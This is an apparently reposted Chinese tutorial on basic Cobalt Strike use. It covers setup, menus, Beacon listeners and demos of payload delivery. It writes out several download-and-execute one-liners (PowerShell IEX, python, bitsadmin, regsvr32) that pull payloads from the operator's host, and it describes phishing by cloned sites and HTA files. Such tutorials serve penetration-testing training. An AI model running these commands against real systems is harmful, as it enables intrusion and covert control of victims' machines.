0


CobaltStrike基础使用详解

CobaltStrike简介

Cobalt Strike(简称为CS)是一款团队作战渗透测试神器,是一种可以用来进行横 向移动、数据窃取、鱼叉式钓鱼的后渗透工具,分为客户端和服务端,一个客户端可 以连接多个服务端,一个服务端也可以对应多个客户端连接。

CobaltStrike基本使用

CS安装

1.Linux安装JDK

apt search java | grep jdk 
apt install openjdk-11-jdk

2.Windows安装JDK

下载JDK: https://www.oracle.com/java/technologies/downloads/#java8-windows 
Oracle公共账号密码:http://bugmenot.com/view/oracle.com

3.环境变量配置

Java_Home => C:\Program files\jdk1.8.0_216 
CLASSPATH => .;JAVA_HOME%\lib;%JAVA_HOME\lib\tools.jar 
PATH => %JAVA_HOME%\bin;%JAVA_HOME\jre\bin

CS启动

1.启动服务端

chmod +x teamserver 
./teamserver [server_ipaddress] [password]

请添加图片描述

2.启动客户端

./cobaltstrike

Alias:别名,用户名@服务端IP地址
Host :服务端IP地址,可为域名
Port:服务端口号,默认50050,可进行修改
User:用户名,可随意填写,只要不冲突即可
Password: 登录密码,启动服务端时设置的密码

CS界面介绍

请添加图片描述

  1. Connect to team server:连接服务端
  2. Disonnect from team server:断开当前服务端连接
  3. Configure Listeners:配置监听器
  4. Show sessions in graph view:展示会话列表
  5. Show sessions in table view:展示视图列表
  6. Show targets in table view:展示目标列表
  7. Credentials:查看从靶机获取的账户密码
  8. Downloaded Files:查看从靶机下载的文件
  9. Keystrokes:查看键盘记录
  10. Screenshots:查看屏幕截图
  11. Generate Windows Executable (Stageless):生成无状态的EXE木马
  12. Setup java Signed Applet Attack:开启Web服务为自签名Java Applet提供运行 环境
  13. MS Office Macro Attack:生成OFFICE宏病毒文件
  14. Setup Scripted Web-Delivery (Stageless):开启Web服务,供下载和执行 Payload
  15. Host a file:开启Web服务,供下载文件
  16. Manage Web Server:管理Web服务
  17. Help:帮助文档 18. About:关于Cobalt Strike

CobaltStrike菜单

  1. New Connection:进行另外一个连接,支持连接多个服务器端
  2. Preferences:设置Cobal Strike界面、控制台、以及输出报告样式TeamServer 连接记录
  3. Visualization:主要展示输出结果的形式
  4. VPN Interfaces:设置VPN接口
  5. Listenrs:创建一个Listener
  6. Script Manager:脚本管理
  7. Close:退出连接

View菜单

  1. Applications:显示受害主机的应用信息,浏览器版本信息
  2. Credentials:显示所有已获取的受害主机的凭证,如使用hashdump、 Mimikatz获取到的密码凭证信息
  3. Downloads:查看已下载文件
  4. Event Log:主机上线记录以及团队协作聊天记录
  5. Keystrokes:查看键盘记录结果
  6. Proxy Pivots:查看代理模块
  7. Screenshots:查看所有屏幕截图
  8. Script Console:脚本控制台,加载第三方脚本以增强功能
  9. Targets:显示所有受害主机
  10. Web Log :所有访问Web服务的日志记录

Attack菜单

  1. packages • HTML Application生成(executable/VBA/powershell)这三种原理实现的恶意 HTA木马文件 (html应用程序) • MS Office Macro:生成office宏病毒文件 • Payload Generator:生成各种语言版本的payload(常用) • Windows Executable:生成可执行exe木马 • Windows Executable(Stageless):生成无状态的可执行exe木马
  2. Web Drive-by • Manage对开启的web服务进行管理 Clone Site:克隆网站,可以记录受害者提交的数据 • Host File:提供一个文件下载,可以修改Mime信息 • Scripted Web Delivery:为payload提供web服务以便下载和执行 类似于 Metasploit的web_delivery • Signed Applet Attack:使用java自签名的程序进行钓鱼攻击(该方式已过时) • Smart Applet Attack:自动检测java版本并进行攻击,针对Java 1.6.0_45以下以 及Java 1.7.0_21以下版本 • System Profiler :用来获取一些系统信息,比如系统版本,Flash版本,浏览器 版本等 • Spear Phish :用来邮件钓鱼的模块,鱼叉钓鱼攻击

3. Spear Phish
HTML Application:生成一个网页Payload 。三种执行模式:EXE执行、PowerShell、VBA
• Executable:是以十六进制的方式内嵌一个EXE到HTA里,运行时会把exe释放到磁 盘然后创建进程运行
• Powershell:HTA调用powershell.exe执行payload
• VBA:通过调用COM组件来执行payload(请确保目标机有Excel.Application组件否则 会运行失败,注:组件源自Office)

Windows Executable
首先是一个传输器载荷,主要用于客户端和服务的之间的连接,建立后再下载一个传输体载荷,生成可执行文件。(体积小几百k)

Windows EXE
Windows Service EXE 
Windows DLL

Windows Executable(s)
具有完成功能的beacon,生成可执行文件还有powershell以及动态链接库(大小几千k)

PowerShell 
Raw Windows EXE
Windows Service EXE 
Windows DLL

Beacon右键菜单

Access:

  1. Dump Hashes # 获取hash
  2. Elevate # 提权
  3. Golden Ticket # 生成黄金票据注入当前会话
  4. Make token # 凭证转换
  5. Run Mimikatz # 运行 Mimikatz
  6. Spawn As # 用其他用户生成Cobalt Strike侦听器

Explore:

  1. Browser Pivot # 劫持目标浏览器进程
  2. Desktop(VNC) # 桌面交互
  3. File Browser # 文件浏览器
  4. Net View # 命令Net View
  5. Port Scan # 端口扫描
  6. Process List # 进程列表
  7. Screenshot # 截图

Pivoting:

  1. SOCKS Server # 代理服务
  2. Listener # 反向端口转发
  3. Deploy VPN # 部署VPN

Spawn:外部监听器(如指派给MSF,获取meterpreter权限)

Session:

  1. Note # 备注
  2. Remove # 删除
  3. Sleep # 指定被控端休眠时间,默认60秒一次回传
  4. Exit # 退出

CobaltStrike监听器详解

Beacon介绍

Beacon是Cobalt Strike运行在目标主机上的payload,Beacon在隐蔽信道上我们提供服务,用于长期控制受感染主机。它的工作方式与Metasploit Framework Payload类似。在实际渗透过程中,我们可以将其嵌入到可执行文件、添加到Word 文档或者通过利用主机漏洞来传递Beacon。

请添加图片描述

Beacon分类

根据内置 Listener 的分类可以将Beacon进行分类, Listener 是用来接收 Beacon 请求信息的 Cobalt Strike 模块。

1.内部beacon:
• Beacon DNS
• Beacon HTTP
• Beacon HTTPS
• Beacon SMB
• Beacon TCP

2.外部beacon: 与其他工具联合使用时才会使用到,一般用来派生会话到MSF
• Foreign HTTP
• Foreign HTTPS

请添加图片描述

Name:监听器名字
Payload:选择Beacon类型
HTTP Hosts:配置HTTP Beacon回连主机地址
HTTP Host (Stager):配置分阶段payload,Stager的请求地址,仅当Payload明 确需要Stager配合时有效
HTTP Port (C2):配置HTTP Beacon回连的监听端口
Host Rotation Strategy:CS4.3新增,在 beacon 通信时,可以选择更多的轮询 方案以逃避检测、阻断, beacon 回连主机策略
Profile: Malleable C2 配置文件,用于自定义通信流量特征
HTTP Port (Bind):绑定监听端口,实现端口重定向
HTTP Host Header:设置内层真实域名,在使用域前置技术时使用
HTTP Proxy:为Payload指定代理

Beacon工作原理

Beacon HTTP/HTTPS : 以HTTP或HTTPS协议建立Beacon连接

  1. HTTP Beacon payload连接到C2控制器,它会发起一个GET请求,获取来自C2 控制器的执行操作任务
  2. 如果C2控制器有要执行的任务,那么它会响应一组包含payload执行的所有任务 的加密数据
  3. 否则HTTP Beacon payload会返回到睡眠状态,我们可以在payload配置中设置 时间周期。
  4. 当Payload执行任务后产生输出时,HTTP Beacon payload会通过一个包含加密 数据的POST请求发送给C2,这个POST请求中包含任务运行后的输出。如果没有 输出,那么就没有这个POST请求。

Beacon SMB
以SMB协议流量建立Beacon连接,适用于内网横向
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个Beacons链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacon 使用 Windows 命名 管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时 可能发挥奇效。

前提条件:

  1. 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
  2. 只能链接由同一个 CobaltStrike 实例管理的 Beacon 。
  3. 利用这种 Beacon 横移必须有目标主机的管理员权限或者说是拥有具有管理员权 限的凭据。

功能实操演示

提供文件下载

Host File
提供一个文件下载服务,可以修改Mime信息.

请添加图片描述

请添加图片描述

浏览器访问它 : http://192.168.42.132:8012/99.html 就可以直接下载文件。请添加图片描述

托管恶意软件

Scripted Web Delivery
开启一个web服务托管payload,并根据选择的类型生成一个命令行来执行 payload 上线。

请添加图片描述

请添加图片描述

5种类型的命令,最后三个是windows系统内置的。常用的是powershell的方式,记得勾选上x64的payload。

exe:
http://172.26.2.28:807/e.exe

python:
python -c "import urllib2; exec urllib2.urlopen('http://172.26.2.28:807/a').read();"

powershell:
powershell.exe -nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstring('http://172.26.2.28:808/a'))"

bitsadmin:
cmd.exe /c bitsadmin /transfer 7d0f http://172.26.2.28:807/b%APPDATA%\7d0f.exe&%APPDATA%\7d0f.exe&del %APPDATA%\7d0f.exe

regsvr32:
regsvr32 /s /n /u /i:http://172.26.2.28:807/d scrobj.dll

请添加图片描述

请添加图片描述

在目标机器上执行命令: powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.42.132:80/a’))”
执行后会发现成功上线cs。

请添加图片描述

请添加图片描述

分析目标浏览器以及版本

System Profiler

请添加图片描述

请添加图片描述

访问前先在视图里找到web log ,点击看看,然后去再去访问,会看见有日志信息,可以在里面查看到目标系统的使用的浏览器版本信息那些的,进行一个信息的收集。

请添加图片描述

hta远程上线

1.生成 HTML 应用程序(HTA)文件:Attacks > Packages > HTML Application

2.要先配置一个监听器,主要用到powershell的方式,且免杀有优点。

请添加图片描述

3.生成文件后,上传到目标机器,或者钓鱼引诱人家下载去执行,还可以利用托管文件让人下载,执行就可上线。

4.在windows里面有个内置命令 mshta ,它可以执行hta的文件,当拿到一台机器的shell可以使用它来对托管文件的下载并执行。

请添加图片描述

请添加图片描述

无阶段木马上线

1.生成一个无阶段木马,要先配置监听器,默认生成的名字是beacon.exe ,可以直接在windows系统上执行。

请添加图片描述

2.执行它,会在cs上看见它上线,而且方式是用的beacon,而不是前面的powershell类型。

请添加图片描述


本文转载自: https://blog.csdn.net/weixin_53747497/article/details/130164962
版权归原作者 00zzz 所有, 如有侵权,请联系我们删除。

“CobaltStrike基础使用详解”的评论:

还没有评论